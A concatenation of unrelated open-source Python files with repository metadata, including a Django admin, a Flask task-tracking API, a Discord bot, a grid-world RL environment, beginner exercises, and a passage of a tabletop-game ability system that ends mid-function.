fa12ebc6ab2c03a4a16bc67eb19f06e3eddede87 | ca662cce161786452335a0bc72a2fa50b4af3278 | /menuapp/admin.py | 04b522a84ca9777aa8e9454b7b622477a316fdde | [] | no_license | karimdigdanian/menu | b2fe7febe0d9bee5576a0828aa4f698e94648bcf | cfc913950f71d445b8351fc06684f221129cbd44 | refs/heads/main | 2023-04-09T22:23:11.142708 | 2021-04-23T20:58:34 | 2021-04-23T20:58:34 | 352,494,804 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 431 | py | from django.contrib import admin
from .models import Plato, TipoDePlato, Ingrediente
class PlatoAdmin(admin.ModelAdmin):
fieldsets = [
(None, {'fields': ['nombre', 'precio', 'publicacion']}),
('Detalles del plato', {'fields': ['tipo','ingredientes']}),
]
filter_horizontal = ('ingredientes',)
admin.site.register(Plato, PlatoAdmin)
admin.site.register(TipoDePlato)
admin.site.register(Ingrediente)
| [
"[email protected]"
] | |
7c81d00fbf43385d11eef21190be1edc10e705d3 | 9f417a95f5807dd845f9461b0e52bf2a10d942e8 | /ASR_code/manifest.py | 57ca9dfbab5cf462c12266844f005e52fcace833 | [] | no_license | liuziyi219/Chinese-pipeline | 4e2dd9298527e2cc47ff77fbc61c21ffdfa4d070 | 843c0b84ecd7d0fcd709a9244eb350dd0aabd9d1 | refs/heads/master | 2020-05-22T21:24:26.422638 | 2019-09-02T03:33:19 | 2019-09-02T03:33:19 | 186,525,117 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,693 | py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import os
import codecs
import soundfile
import json
import argparse
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--target_dir",
default="/mnt/rds/redhen/gallina/Singularity/Zhaoqing/example/split",
type=str,
help="Directory to save the dataset. (default: %(default)s")
parser.add_argument(
"--manifest_path",
default="manifest.ex",
type=str,
help="The path of the output manifest"
)
args = parser.parse_args()
def create_manifest(data_dir,manifest_path):
print("Creating manifest %s" % manifest_path)
json_lines = []
for subfolder,_,filelist in sorted(os.walk(data_dir)):
for fname in sorted(filelist):
audio_path = os.path.join(subfolder,fname)
audio_id = fname[:-3]
audio_data, samplerate = soundfile.read(audio_path)
duration = float(len(audio_data) / samplerate)
text = ''
json_lines.append(
json.dumps(
{
'audio_filepath': audio_path,
'duration': duration,
'text': text
},
ensure_ascii=False))
with codecs.open(manifest_path, 'w', 'utf-8') as fout:
for line in json_lines:
fout.write(line + '\n')
def main():
if args.target_dir.startswith('~'):
args.target_dir = os.path.expanduser(args.target_dir)
create_manifest(args.target_dir,args.manifest_path)
main()
| [
"[email protected]"
] | |
b414ecc9e90aced733cec944bf25eaf36b97ede8 | 03f22cb0d1be9d421005a936a8987c2f65315cb7 | /dataMap/data_map.py | b44c0f2515fb80b3feee870656085aaba0bc497a | [
"Apache-2.0"
] | permissive | ZhaoKangming/Data_Tools | 8164bf7bc74cbdeda0e1668b0845c9614cce9e11 | f5140c46fc0e0951974dfcab7915817d28fe958e | refs/heads/master | 2022-07-28T15:08:13.396609 | 2020-05-25T05:46:04 | 2020-05-25T05:46:04 | 262,208,858 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 151 | py |
def generate_data_ChinaMap(region_type: str, data_dict: dict):
'''
Function: 接收存储地区及数据的字典生成数据地铁
'''
| [
"[email protected]"
] | |
8a29fbbc0d21f80676a8a31580f23a9ba82b436f | 67e817ca139ca039bd9eee5b1b789e5510119e83 | /Tree/[513]Find Bottom Left Tree Value.py | 5cf34543823e4cd690e030e1dfef7c0be0d33d34 | [] | no_license | dstch/my_leetcode | 0dc41e7a2526c2d85b6b9b6602ac53f7a6ba9273 | 48a8c77e81cd49a75278551048028c492ec62994 | refs/heads/master | 2021-07-25T21:30:41.705258 | 2021-06-06T08:58:29 | 2021-06-06T08:58:29 | 164,360,878 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,201 | py | # Given the root of a binary tree, return the leftmost value in the last row of
# the tree.
#
#
# Example 1:
#
#
# Input: root = [2,1,3]
# Output: 1
#
#
# Example 2:
#
#
# Input: root = [1,2,3,4,null,5,6,null,null,7]
# Output: 7
#
#
#
# Constraints:
#
#
# The number of nodes in the tree is in the range [1, 104].
# -231 <= Node.val <= 231 - 1
#
# Related Topics Tree Depth-first Search Breadth-first Search
# 👍 1275 👎 169
# leetcode submit region begin(Prohibit modification and deletion)
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def findBottomLeftValue(self, root: TreeNode) -> int:
res = []
def func(node, level):
if node is not None:
if len(res) == level:
res.append([])
res[level].append(node.val)
func(node.left, level + 1)
func(node.right, level + 1)
func(root, 0)
return res[-1][0]
# leetcode submit region end(Prohibit modification and deletion)
| [
"[email protected]"
] | |
1d4b3a710240be939a3d1f4ebcfa5343552bf901 | e56fa4fd25934623d12d4bb2f61d1037b7faffaa | /eche.py | 6a71cbbd17e74aabedf1cba86df4936d35e362f7 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | skk/eche | 001902390961b815ce3f6f6d594312b81be58f10 | 5618a054f8e06904ca35117a53ea090c761b911c | refs/heads/master | 2021-01-20T00:09:03.391234 | 2017-06-30T02:32:34 | 2017-06-30T02:32:57 | 89,085,286 | 0 | 0 | null | 2017-06-30T01:25:19 | 2017-04-22T16:56:40 | Python | UTF-8 | Python | false | false | 680 | py | #!env python
"""Eche - a simple, lisp like language.
Usage:
eche [FILE ...]
eche (-h | --help)
eche --version
Options:
-h --help Show this screen.
--version Show version.
"""
import sys
import pathlib
from docopt import docopt
sys.path.append(str(pathlib.Path('.').joinpath('eche')))
import eche.step3_env as eche
VERSION = '0.3.1'
def main():
args = docopt(__doc__, version=VERSION)
if args['--version']:
print(VERSION)
sys.exit(0)
if 'FILE' in args:
for filename in args['FILE']:
eche.process_file(filename)
else:
sys.exit(eche.repl())
if __name__ == "__main__":
main()
| [
"[email protected]"
] | |
c0cf17d3b676ade7bc8ea80488a35232b0ff16ff | 08803ef3a43224472e38706beb1f1238d7d90036 | /Programas/08.py | e7d45880cbf503925ab88376dc619f8fa73b187c | [] | no_license | 316328021/TallerdeHerramientasComputacionales | 76c0bff27560c36fcd8ea014b7202f31a6159f90 | 132014ebafd29cd3e5c3bef1ba710ebdc4973008 | refs/heads/master | 2020-04-16T00:30:27.541786 | 2019-02-13T00:21:56 | 2019-02-13T00:21:56 | 165,141,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | #!/usr/bin/python2.7
# -*- coding: utf-8 -*-
"""
Brenda Paola García Rivas
316328021
Taller de Herramientas Computacionales
Lo que se nos explicó el miércoles de la segunda semana
"""
x = 10.5;y = 1.0/3;z = 15.3
#x,y,z = 10.5, 1.0/3, 15.3 Otra forma de ponerlo
H = """
El punto en R3 es:
(x,y,z)=(%.2f,%g,%G)
""" % (x,y,z)
print H
G="""
El punto en R3 es:
(x,y,z)=({laX:.2f},{laY:g},{laZ:G}
""".format(laX=x,laY=y,laZ=z)
print G
import math as m
from math import sqrt
from math import sqrt as s
from math import * #Sirve pero no se recomienda su uso
x=16
x=input ("Cuál es el valor al que le quieres calcular la raiz")
print "La raiz cuadrada de %.2f es %f" %(x,m.sqrt(x))
print sqrt(16.5)
print s(16.5)
| [
"[email protected]"
] | |
8c952b64af71a1c28618038aeab023cfcdf2d4bc | 1219e1032701666bf40fbefbd971c3357e3f606f | /main.py | 511764622d5464d80ed78dd58f56f46ec211f805 | [] | no_license | jamezroux/Roux-GoG-Bot | 4673e8fefc48ea98174722f944739d70aaae6de6 | bd1c1b1c8963500b8798dbdffca09c0c51e90fc4 | refs/heads/master | 2020-04-13T01:08:43.732633 | 2018-12-24T01:58:27 | 2018-12-24T01:58:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,234 | py | import discord
from pprint import pprint
import json
#
# This is where I will import the modules for each dataset as they're made
#
import modules.database as database
from modules.research import get_data
with open('keys.json') as keys:
keys = json.load(keys)
TOKEN = keys["bot_token"]
client = discord.Client()
@client.event
async def on_message(message):
if message.author == client.user:
return
if message.content.startswith('!hello'):
msg = 'Hello {0.author.mention}'.format(message)
await client.send_message(message.channel, msg)
if message.content.startswith('!roux help_me'):
print('Received help message')
command = message.content[6:]
msg = get_data(command)
await client.send_message(message.channel, msg)
if message.content.startswith('!roux update_db'):
print('Received update db message')
database.update_db()
msg = 'Alright {0.author.mention}, I\'m updating the database now.'.format(message)
await client.send_message(message.channel, msg)
@client.event
async def on_ready():
print('Logged in as')
print(client.user.name)
print(client.user.id)
print('-------')
client.run(TOKEN)
| [
"[email protected]"
] | |
9fbabc35a2b7e21e9a448b7e316ad75e25806738 | 0342e6fdb25cf02d2c3454c2e854affb18398455 | /蒙特卡洛方法MC/Gold_coin_Env.py | 24d5c4c25f11e0b47b4ef04df41b975a4107acb5 | [] | no_license | edwardapril0127/RL | 55153cf033f9472e49d85793bebcf0fd82aa4749 | bf073011e991e8ad7a6e964510e9d92942e8666c | refs/heads/master | 2021-10-11T13:03:30.711882 | 2019-01-26T03:17:40 | 2019-01-26T03:17:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,264 | py | import pygame
import gym
from gym.envs.classic_control import rendering
import random
import time
class Gold_coin_Env:
def __init__(self): # S,A,P,R,GAMMA
self.states = [1, 2, 3, 4, 5, 6, 7, 8]
self.actions = ['e', 'w', 's', 'n']
self.R = dict()
self.R['1_n'] = -1.0
self.R['3_n'] = 1.0
self.R['5_n'] = -1.0
self.t = dict()
self.t['1_n'] = 6
self.t['1_e'] = 2
self.t['2_w'] = 1
self.t['2_e'] = 3
self.t['3_e'] = 4
self.t['3_w'] = 2
self.t['3_n'] = 7
self.t['4_e'] = 5
self.t['4_w'] = 3
self.t['5_n'] = 8
self.t['5_w'] = 4
self.gamma = 0.8
self.viewer = None
self.state = None
self.x = [50, 150, 250, 350, 450, 50, 250, 450]
self.y = [50, 50, 50, 50, 50, 150, 150, 150]
self.terminate_states = dict()
self.terminate_states[6] = 1
self.terminate_states[7] = 1
self.terminate_states[8] = 1
def _step(self, action):
state = self.state
if state in self.terminate_states: # 如果当前状态是终止状态，则终止
return state, 0, True
key = "%d_%s" % (state, action)
if key in self.t:
next_state = self.t[key]
else:
next_state = state
self.state = next_state
is_terminal = False
if next_state in self.terminate_states: # 如果下一状态是终止状态，则终止
is_terminal = True
if key in self.R:
reward = self.R[key]
else:
reward = 0.0
return next_state, reward, is_terminal
def _reset(self):
self.state = self.states[abs(int(random.random() * len(self.states)) - 4)]
return self.state
def _render(self):
if self.viewer is None:
self.viewer = rendering.Viewer(500, 200)
self.line1 = rendering.Line((0, 0), (500, 0))
self.line2 = rendering.Line((0, 100), (500, 100))
self.line3 = rendering.Line((0, 200), (100, 200))
self.line4 = rendering.Line((200, 200), (300, 200))
self.line5 = rendering.Line((400, 200), (500, 200))
self.line6 = rendering.Line((0, 0), (0, 200))
self.line7 = rendering.Line((100, 0), (100, 200))
self.line8 = rendering.Line((200, 0), (200, 200))
self.line9 = rendering.Line((300, 0), (300, 200))
self.line10 = rendering.Line((400, 0), (400, 200))
self.line11 = rendering.Line((500, 0), (500, 200))
self.kulou1 = rendering.make_circle(30)
self.circletrans = rendering.Transform(translation=(50, 150))
self.kulou1.add_attr(self.circletrans)
self.kulou1.set_color(0, 0, 0)
self.kulou2 = rendering.make_circle(30)
self.circletrans = rendering.Transform(translation=(450, 150))
self.kulou2.add_attr(self.circletrans)
self.kulou2.set_color(0, 0, 0)
self.gold = rendering.make_circle(30)
self.circletrans = rendering.Transform(translation=(250, 150))
self.gold.add_attr(self.circletrans)
self.gold.set_color(1, 0.9, 0)
self.robot = rendering.make_circle(40)
self.robottrans = rendering.Transform()
self.robot.add_attr(self.robottrans)
self.robot.set_color(0.8, 0.6, 0.4)
self.line1.set_color(0, 0, 0)
self.line2.set_color(0, 0, 0)
self.line3.set_color(0, 0, 0)
self.line4.set_color(0, 0, 0)
self.line5.set_color(0, 0, 0)
self.line6.set_color(0, 0, 0)
self.line7.set_color(0, 0, 0)
self.line8.set_color(0, 0, 0)
self.line9.set_color(0, 0, 0)
self.line10.set_color(0, 0, 0)
self.line11.set_color(0, 0, 0)
self.viewer.add_geom(self.line1)
self.viewer.add_geom(self.line2)
self.viewer.add_geom(self.line3)
self.viewer.add_geom(self.line4)
self.viewer.add_geom(self.line5)
self.viewer.add_geom(self.line6)
self.viewer.add_geom(self.line7)
self.viewer.add_geom(self.line8)
self.viewer.add_geom(self.line9)
self.viewer.add_geom(self.line10)
self.viewer.add_geom(self.line11)
self.viewer.add_geom(self.kulou1)
self.viewer.add_geom(self.kulou2)
self.viewer.add_geom(self.gold)
self.viewer.add_geom(self.robot)
if self.state is None: return None
self.robottrans.set_translation(self.x[self.state - 1], self.y[self.state - 1])
return self.viewer.render()
if __name__ == "__main__":
gold = Gold_coin_Env()
gold._reset()
gold.state = 5
gold._render()
time.sleep(1)
print(gold.state)
state, r, flag = gold._step('n')
gold._render()
print(state)
time.sleep(3)
# for i in range(8):
# gold.state = i+1
# gold._render()
# time.sleep(0.5)
| [
"[email protected]"
] | |
543c3baf27b384ad42510e240f7299f7e95b64b4 | e0de9f380643f2848f1d41736ff7745884d1bfd6 | /_27wproject/issue/urls.py | 74d0be2bdf8a9360484fa32e6d290ad71486ea86 | [] | no_license | Hyeonjiwon/27W-CLASS | c64cf99f4aaf919b07d537c30f157083dab80a97 | 043104ab85cbe1d34abfcab086425bc464d7e6da | refs/heads/master | 2022-06-19T18:25:08.105012 | 2020-05-06T05:58:30 | 2020-05-06T05:58:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,493 | py | """_27wclass URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.urls import path, include
from . import views
# django rest framework -> router -> url
urlpatterns = [
path('', views.IssueListView.as_view(), name='issue_board'),
path('create/', views.IssueCreateView.as_view(), name='issue_create'),
path('<int:pk>/', views.issue_detail, name='issue_detail'),
# path('comment/write', views.write_comment, name='comment_write'),
path('<int:pk>/update', views.IssueUpdateView.as_view(), name='issue_update'),
path('<int:pk>/delete', views.IssueDeleteView.as_view(), name='issue_delete'),
path('comment/write', views.comment_write, name='comment_write'),
path('art/', views.issue_board_art, name='issue_board_art'),
path('design/', views.issue_board_design, name='issue_board_design'),
path('social/', views.issue_board_social, name='issue_board_social'),
]
| [
"[email protected]"
] | |
f166493218546f73d8176e429f04b210227fff98 | 117cc9b6f9dcbfe52027b9121d3c4af58ff5a5c9 | /more.py | 0c1f757ff3052dffc5c480f642aa4105d5b54c23 | [] | no_license | navya0071/Python | 2423f58e3e66743e2eb9e8eb8a1de13a7610b51f | dfb27f4b6d19598ddc02e32b66b1fd27b87afc2f | refs/heads/master | 2020-06-19T13:53:04.092471 | 2019-09-20T09:51:41 | 2019-09-20T09:51:41 | 196,733,425 | 0 | 0 | null | 2019-09-20T09:46:03 | 2019-07-13T14:54:48 | Python | UTF-8 | Python | false | false | 599 | py | #ex5.py
my_name = 'Zed A. Shaw'
my_age = 35 #not a lie
my_height = 74 #inches
my_weight = 180 #lbs
my_eyes = 'Blue'
my_teeth = 'White'
my_hair = 'Brown'
# 'f' stands for format string.
print(f"Lets talk about {my_name}")
print(f"he's {my_height} inches tall.")
print(f"He's {my_weight} pounds heavy")
print(f"Actually that's not too heavy.")
print("he's got {my_eyes} eyes and {my_hair} hair.")
print(f"His teeth are usually {my_teeth} depending on the coffee.")
total = my_age + my_height + my_weight
print(f"If I add {my_age} , {my_height} and {my_weight} I get {total} .")
| [
"[email protected]"
] | |
e74b9dbd6a7b6ca1128329d36dbce5b4e0121726 | b614df1bd95a8155f3c03f5c762034b486c86a40 | /api/app.py | f1364f888c9f881b01d80701898e8b8703d34e49 | [] | no_license | cxmorris/taskbox | d84511acc3480a6c9d6c04d674bb7df147784f5b | 497e331afd73636c7805a277632d28e3a8b1015d | refs/heads/master | 2023-01-22T14:04:29.115711 | 2020-12-08T06:41:35 | 2020-12-08T06:41:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,925 | py | import sqlite3
import types
from datetime import date
from flask import Flask, request, session
import json
app = Flask(__name__)
app.secret_key="_.xfbgY.xca.xba.x91E}.xe7.x91).xb1.x8a.xb0"
@app.route('/')
def default():
return {'caption': "hello, world!"}
# route to check if user is logged in
@app.route('/authentication', methods = ["GET"])
def authentication():
try:
if session["user_id"] != -1:
print("currently logged in")
return {'isAuthenticated' : True}
except KeyError:
print("currently not logged in")
return {'isAuthenticated' : False}
print("currently not logged in")
return {'isAuthenticated' : False}
# Route for login
@app.route('/login', methods = ["GET", "POST"])
def login():
if request.method == "POST":
d = str(request.data)
print(d)
data = json.loads(d[2 : len(d) - 1])
db = sqlite3.connect("timebox.db")
# checks if all the fields have been entered
if not data["password"] or not data["email"]:
print("incomplete form")
return {'isAuthenticated' : False, "caption": "Enter all fields"}
# checks to see if there is a user with the data
# creates a connection to database
users = db.execute("SELECT * FROM users WHERE email = ? AND password = ?", [data["email"], data["password"]])
users = users.fetchall()
# if such a user exists, sets the session user id to the user's id in the database
if len(users) == 1:
session["user_id"] = users[0][0]
print("successful login")
return {'isAuthenticated' : True, "caption": "Successful login"}
# if a user does not exist, returns error messaeg
else:
print("incorrect credentials")
return {'isAuthenticated' : True, "caption": "Incorrect email or password"}
if request.method == "GET":
return {'isAuthenticated' : False}
# Route for signup
@app.route('/signup', methods = ["GET", "POST"])
def signup():
if request.method == "POST":
try:
d = str(request.data)
print(d)
data = json.loads(d[2 : len(d) - 1])
except RuntimeError:
return { 'isAuthenticated' : False, "caption" : "Internal error"}
# checks if all the fields have been entered
if not data["password"] or not data["confirmPassword"] or not data["email"]:
print("incomplete form")
return {'isAuthenticated' : False, "caption": "Enter all fields"}
# Creates SQLite connection to the users database
with sqlite3.connect("timebox.db") as db:
db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY NOT NULL, email TEXT NOT NULL UNIQUE, password TEXT NOT NULL)")
# checks if the email address has already been registered
user = db.execute("SELECT * FROM users WHERE email = ? ", [data['email']])
if len(user.fetchall()) > 0:
print("already registered")
return {'isAuthenticated' : False, "caption": "Email address already registered"}
# checks if the two passwords are the same
if data["password"] != data["confirmPassword"]:
print("password mismatch")
return {'isAuthenticated' : False, "caption": "Passwords do not match"}
# stores the email, password in the database
db.execute("INSERT INTO users (email, password) VALUES (?, ?)", [data["email"], data["password"]])
# begins the user's session
cursor = db.execute("SELECT * FROM users WHERE email = ?", [data["email"]])
rows = cursor.fetchall()
session["user_id"] = rows[0][0]
print("login successful")
return {'isAuthenticated' : True, "caption" : "Login successful"}
# Return that the user has not been authenticated
elif request.method == "GET":
return {'isAuthenticated' : False}
# Route for logout
@app.route('/logout')
def logout():
session["user_id"] = -1
print("logged out successfully")
return {'isAuthenticated': False, "caption": "Logged out successfully"}
@app.route('/tasks', methods = ["GET", "POST"])
def tasks():
if (request.method == "GET"):
with sqlite3.connect("timebox.db") as db:
rows = db.execute("SELECT * FROM tasks WHERE user_id = ? AND date = ?;", [session["user_id"], date.today()])
rows = rows.fetchall()
if (len(rows) == 0):
print("no rows here")
return {"title": None}
d = {'-1':{'hi': 'bye'}}
for i in range(len(rows)):
d[str(i)] = {"title": "", "color": 1, "time": 0, "checked": False}
d[str(i)]['title'] = rows[i][2]
d[str(i)]['color'] = rows[i][3]
d[str(i)]['time'] = rows[i][5]
d[str(i)]['checked'] = rows[i][6]
return d
elif (request.method == "POST"):
try:
d = str(request.data)
data = json.loads(d[2 : len(d) - 1])
except RuntimeError:
return {"caption" : "Internal error"}
with sqlite3.connect("timebox.db") as db:
db.execute("CREATE TABLE IF NOT EXISTS tasks (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user_id INTEGER NOT NULL, title TEXT, color TEXT, date DATE NOT NULL, time INTEGER NOT NULL, checked BOOLEAN);")
db.execute("INSERT INTO tasks (user_id, title, color, date, time, checked) VALUES (?, ?, ?, ?, ?, ?);", [session['user_id'], data['text'], data['color'], date.today(), data['time'], data['checked']])
rows = db.execute("SELECT * from tasks WHERE user_id = ? AND date = ? AND time = ?;", [session["user_id"], date.today(), data["time"]])
rows = rows.fetchall()
if len(rows) == 0:
print("TASK NOT STORED")
else:
print("TASK STORED SUCCESSFULLY")
return {"caption": "task stored successfully"}
@app.route('/deleteTask', methods = ["POST"])
def deleteTask():
if (request.method == "POST"):
with sqlite3.connect("timebox.db") as db:
try:
d = str(request.data)
data = json.loads(d[2 : len(d) - 1])
except RuntimeError:
return {"caption" : "Internal error"}
db.execute("DELETE FROM tasks WHERE user_id = ? AND date = ? AND time = ?", [session["user_id"], date.today(), data['time']])
rows = db.execute("SELECT * from tasks WHERE user_id = ? AND date = ? AND time = ?;", [session["user_id"], date.today(), data["time"]])
rows = rows.fetchall()
if (len(rows) == 0):
print("task deleted")
return {"caption": "task deleted successfully"}
@app.route('/updateTask', methods = ["POST"])
def updateTask():
if (request.method == "POST"):
with sqlite3.connect("timebox.db") as db:
try:
d = str(request.data)
data = json.loads(d[2 : len(d) - 1])
except RuntimeError:
return {"caption" : "Internal error"}
db.execute("UPDATE tasks SET color = ?, title = ?, checked = ? WHERE user_id = ? AND date = ? AND time = ? ", [data['color'], data['text'], data['checked'], session["user_id"], date.today(), data['time']])
return {"caption": "task updated successfully"}
@app.route('/shiftTasks')
def shiftTasks():
with sqlite3.connect("timebox.db") as db:
db.execute("UPDATE tasks SET time = time + 1 WHERE user_id = ? AND date = ?", [session['user_id'], date.today()])
print("tasks shifted successfully")
return {"caption": "tasks shifted successfully"} | [
"[email protected]"
] | |
70eca5829bb40ce935bfda66e1cf2a4c02830ade | fa259bfe4f9220a70c105cd68e93e53aa0064ab8 | /03 - Expressies/HelloWorld.py | 9606bd890913a8f7b4c0442819f6a891df2d9dae | [] | no_license | femkepiepers/Informatica5 | 427b1d189f33f2e9761a45492178a7c17657efd8 | 9b6d870cd3f80307132b898f9344d4b45b611a31 | refs/heads/master | 2021-06-28T22:35:17.021932 | 2019-05-23T08:03:28 | 2019-05-23T08:03:28 | 147,637,112 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25 | py | print('Hello World, xxx') | [
"[email protected]"
] | |
faf91a0a2d0ea0f770cb489ed0135db79f860080 | a006a79956c3ddcc49782792564d75fde40dc48d | /Tracks/Data-Scientist-with-Python/01-Introduction-to-Python/3-Functions-and-Packages/list-methods.py | c096e429019515f47caea3d55855a729b8b4c4e6 | [] | no_license | iliasskgr/DataCamp | 92417aa5e309afb7f7ead971ccb3cc04c7a7861e | 36a34057efef1635012b51924c3362390a2f7d69 | refs/heads/master | 2023-08-21T18:17:04.068777 | 2020-08-10T19:28:11 | 2020-08-10T19:28:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 942 | py | '''
List Methods
100xp
Strings are not the only Python types that have methods associated with them. Lists, floats,
integers and booleans are also types that come packaged with a bunch of useful methods.
In this exercise, you'll be experimenting with:
index(), to get the index of the first element of a list that matches its input and
count(), to get the number of times an element appears in a list.
You'll be working on the list with the area of different parts of a house: areas.
Instructions
-Use the index() method to get the index of the element in areas that is equal to 20.0.
Print out this index.
-Call count() on areas to find out how many times 14.5 appears in the list.
Again, simply print out this number.
'''
# Create list areas
areas = [11.25, 18.0, 20.0, 10.75, 9.50]
# Print out the index of the element 20.0
print(areas.index(20))
# Print out how often 14.5 appears in areas
print(areas.count(14.5)) | [
"[email protected]"
] | |
155399f2871afa4c548d77d8f528e246125b76ae | b0e66db67b34b88e7884aa9b4a7b7607bbe9651b | /rules/d20/pf2/ability/system.py | e56d977f3fd7be71d7c79acc5955a447368cf112 | [] | no_license | cole-brown/veredi-code | 15cf47c688c909b27ad2f2f3518df72862bd17bc | 8c9fc1170ceac335985686571568eebf08b0db7a | refs/heads/master | 2023-04-22T03:21:10.506392 | 2021-05-01T19:05:10 | 2021-05-01T19:05:10 | 296,949,870 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,723 | py | # coding: utf-8
'''
D20 Ability System for the Game.
Handles:
- Ability stuff. Strength, strength modifiers, strength checks...
- Just strength.
Open doors the aggressive way.
'''
# -----------------------------------------------------------------------------
# Imports
# -----------------------------------------------------------------------------
from typing import (TYPE_CHECKING,
Optional, Type, Set, Type, Union, Dict)
if TYPE_CHECKING:
from veredi.base.context import VerediContext
from veredi.game.ecs.manager import EcsManager
from veredi.game.ecs.base.system import System
from veredi.logs import log
from veredi.base.const import VerediHealth
from veredi.data import background
# Game / ECS Stuff
from veredi.game.ecs.event import EventManager
from veredi.game.ecs.time import TimeManager
from veredi.game.ecs.component import ComponentManager
from veredi.game.ecs.entity import EntityManager
from veredi.game.ecs.const import (SystemTick,
SystemPriority)
from veredi.game.ecs.base.component import Component
from veredi.rules.d20.system import D20RulesSystem
# Commands
from veredi.interface.input.command.reg import (CommandRegistrationBroadcast,
CommandRegisterReply,
CommandPermission,
CommandArgType,
CommandStatus)
from veredi.interface.input.context import InputContext
from veredi.math.parser import MathTree
from veredi.math.system import MathSystem
from veredi.interface.output.event import Recipient
from veredi.math.event import MathOutputEvent
# Ability-Related Events & Components
from .component import (
AbilityComponent,
)
from .event import (
AbilityRequest,
AbilityResult,
)
# -----------------------------------------------------------------------------
# Constants
# -----------------------------------------------------------------------------
# -----------------------------------------------------------------------------
# Code
# -----------------------------------------------------------------------------
class AbilitySystem(D20RulesSystem,
name_dotted='veredi.rules.d20.pf2.ability.system',
name_string='ability.system'):
@classmethod
def dependencies(klass: Type['AbilitySystem']
) -> Optional[Dict[Type['System'], str]]:
'''
AbilitySystem's dependencies in a System class/type to dotted string
dictionary.
Required dependencies will be checked for by type.
- If a system of that type already exists, good.
- If not, the dotted string will be used to try to create one.
'''
return {
MathSystem: 'veredi.math.system',
}
def _configure(self, context: 'VerediContext') -> None:
'''
Make our stuff from context/config data.
'''
self._component_type: Type[Component] = AbilityComponent
super()._configure(context)
config = background.config.config(self.klass,
self.dotted,
context)
self._config_rules_def(context, config, 'ability')
# ---
# Required Stuff
# ---
self._required_managers: Optional[Set[Type['EcsManager']]] = {
TimeManager,
EventManager,
ComponentManager,
EntityManager
}
# ---
# Ticking Stuff
# ---
# For ticking, we only need the ones with AbilityComponents.
self._components_req: Optional[Set[Type[Component]]] = [
AbilityComponent,
]
# Ability uses several ticks for better responsiveness?
# PRE, STADARD, POST - Might should just go to standard?
self._ticks: SystemTick = (SystemTick.PRE
| SystemTick.STANDARD
| SystemTick.POST)
# -------------------------------------------------------------------------
# System Registration / Definition
# -------------------------------------------------------------------------
def priority(self) -> Union[SystemPriority, int]:
'''
Returns a SystemPriority (or int) for when, relative to other systems,
this should run. Highest priority goes firstest.
'''
# Medium so combat can do requests if it needs to before we go?
return SystemPriority.MEDIUM
# -------------------------------------------------------------------------
# Events
# -------------------------------------------------------------------------
def _subscribe(self) -> VerediHealth:
'''
Subscribe to any life-long event subscriptions here. Can hold on to
event_manager if need to sub/unsub more dynamically.
'''
health = super()._subscribe()
self._manager.event.subscribe(AbilityRequest,
self.event_ability_req)
return health.update(VerediHealth.HEALTHY)
def event_cmd_reg(self, event: CommandRegistrationBroadcast) -> None:
'''
Set up all our ability commands.
'''
# Doctor checkup.
if not self._health_ok_event(event):
return
# ---
# General Command
# ---
cmd = CommandRegisterReply(event,
self.dotted,
'ability',
CommandPermission.COMPONENT,
self.command_ability,
description='Ability check.')
cmd.set_permission_components(AbilityComponent)
cmd.add_arg('ability name', CommandArgType.VARIABLE)
cmd.add_arg('additional math', CommandArgType.MATH,
optional=True)
# ---
# Alias Commands
# ---
# for each ability in def, define alias command
for ability in self._rule_defs['ability']:
canon = self._rule_defs.canonical(ability, None)
cmd.add_alias(ability, 'ability ' + canon)
for ability in self._rule_defs['alias']:
canon = self._rule_defs.canonical(ability, None,
no_error_log=True,
raise_error=False)
if canon:
cmd.add_alias(ability, 'ability ' + canon)
# ---
# Alright, done. Send it!
# ---
self._event_notify(cmd)
def command_ability(self,
math: MathTree,
context: Optional[InputContext] = None
) -> CommandStatus:
'''
Turn command into Ability Request event for us to process later.
'''
# Doctor checkup.
if not self._health_ok_msg("Command ignored due to bad health.",
context=context):
return CommandStatus.system_health(self.name,
self._health,
context)
eid = InputContext.source_id(context)
entity, component = self._manager.get_with_log(
f'{self.klass}.command_ability',
eid,
self._component_type,
context=context,
preface="Dropping 'ability' command - ")
if not entity or not component:
return CommandStatus.does_not_exist(eid,
entity,
component,
self._component_type,
context)
# Ok... now just bundle up off to MathSystem's care with our callbacks.
self._manager.system.get(MathSystem).command(
math,
self._rule_defs.canonical,
self._query,
MathOutputEvent(entity.id, entity.type_id,
math, context,
InputContext.input_id(context),
# TODO [2020-07-11]: a proper output type...
Recipient.BROADCAST),
context)
return CommandStatus.successful(context)
def event_ability_req(self, event: AbilityRequest) -> None:
'''
Ability check - please do the thing.
'''
# Doctor checkup.
if not self._health_ok_event(event):
return
entity, component = self._manager.get_with_log(
f'{self.klass}.command_ability',
event.id,
self._component_type,
event=event)
if not entity or not component:
# Entity or component disappeared, and that's ok.
return
result = self._query(event.id,
event.ability,
event.context)
# Have EventManager create and fire off event for whoever wants the
# next step.
